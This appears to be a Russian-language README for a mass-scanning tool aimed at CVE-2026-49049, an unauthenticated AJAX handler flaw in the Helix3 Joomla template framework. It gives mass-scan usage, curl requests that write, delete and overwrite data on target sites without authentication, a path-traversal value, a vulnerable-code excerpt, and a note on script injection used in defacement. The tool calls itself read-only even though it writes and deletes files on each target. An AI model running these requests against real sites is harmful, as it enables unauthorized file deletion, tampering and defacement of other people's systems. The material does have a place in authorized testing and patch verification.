
Сканер уязвимостей только для чтения для CVE-2026-49049 — неавторизованный AJAX-обработчик плагина Helix3 Joomla
CVE-2026-49049 затрагивает фреймворк шаблонов Helix3 для Joomla (версии 1.0 до 3.1.0). Обработчик onAjaxHelix3, доступный через диспетчер com_ajax в Joomla, не выполняет аутентификацию, авторизацию или проверку CSRF для нескольких разрушительных действий:
| Действие | Воздействие | Доступно в |
|---|---|---|
save | Записывает файлы JSON под контролем атакующего с обходом пути | Все версии |
remove | Удаляет произвольные файлы — без ограничений по расширению или пути | Все версии |
import | Перезаписывает хранимые параметры шаблона в базе данных | только v3.x |
Примечание: Действие
importбыло добавлено в Helix3 v3.x. Сайты, работающие на v2.x, затронуты толькоsaveиremove.
Уязвимость была обнаружена Филом Тейлором (mySites.guru) и опубликована 29 июня 2026 года.
| Версия Helix3 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | Уязвимы | Отсутствует |
| 3.0 – 3.1.0 | Уязвимы | Уязвимы |
| 3.1.1+ | Исправлено | Исправлено |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Single target
python cve_2026_49049.py -t 192.168.1.100
# Mass scan
python cve_2026_49049.py -f targets.txt -o results.txt
# With JSON report + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Одиночная цель (домен или IP)
-f, --file Файл со списком целей, по одной в строке
-o, --output Вывод текста в реальном времени (по умолчанию: cve-2026-49049_scan.txt)
--json Структурированный JSON-отчет (по умолчанию: cve-2026-49049_report.json)
--threads Параллельные рабочие потоки (по умолчанию: 15)
--timeout Таймаут HTTP в секундах (по умолчанию: 15)
-v, --verbose Показывать детали проверки
Сканер выполняет проверку только на чтение — он записывает безобидный JSON-файл в папку макета Helix3 через неаутентифицированную конечную точку save, проверяет, что файл записан, а затем немедленно удаляет его через конечную точку remove. На целевой системе не остается постоянных изменений.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
Сканер проверяет именно эти конечные точки. Для ручной проверки:
Шаг 1 — Подтвердите, что Helix3 установлен
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>
Шаг 2 — Проверка действия save (запись файла без аутентификации)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Шаг 3 — Проверка действия remove (удаление файла без аутентификации)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
Шаг 4 — Проверка действия import (только v3.x, недоступно в v2.x)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Note: import was added in Helix3 v3.x.
# Sites running v2.x will return an empty response for this action.
В версиях Helix3 до 3.1.1 файл plugins/ajax/helix3/helix3.php обрабатывает запросы через onAjaxHelix3() без каких-либо защитных механизмов:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No auth check. No CSRF token. No path validation.
$filepath = $layoutPath . $layoutName; // path traversal possible
switch ($action) {
case 'remove':
unlink($filepath); // arbitrary file delete
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write
break;
}
}
layoutName=../../../somewhere/evil записывает файлы за пределами целевой директории макетовsave (который добавляет .json), remove может нацеливаться на любой тип файлаcustom_js отображается без экранирования в выводе шаблона, что позволяет внедрять скрипты на каждой странице. Этот вектор используется в реальных атаках по дефейсу.ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВЫХ ЦЕЛЕЙ.
Данное программное обеспечение предназначено для специалистов по безопасности, проводящих авторизованные тесты на проникновение, организаций, проверяющих свою собственную инфраструктуру, и исследователей, изучающих эксплуатацию уязвимостей.
Несанкционированный доступ к компьютерным системам является незаконным и может нарушать:
- США: Закон о компьютерном мошенничестве и злоупотреблениях (18 U.S.C. 1030)
- Индонезия: UU ITE Статьи 30 и 46
- Европейский союз: Директива 2013/40/EU
- Великобритания: Закон о неправомерном использовании компьютеров 1990 года
Авторы не несут ответственности за неправомерное использование. Используя данное программное обеспечение, вы принимаете на себя полную ответственность за свои действия.
| Ресурс | Ссылка |
|---|---|
| Оригинальная рекомендация (mySites.guru) | Helix3 3.1.1 Security Fix |
| Запись в NVD | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| Репозиторий JoomShaper GitHub | Helix3 Repository |
Этот проект не связан с JoomShaper, Joomla или Open Source Matters, Inc.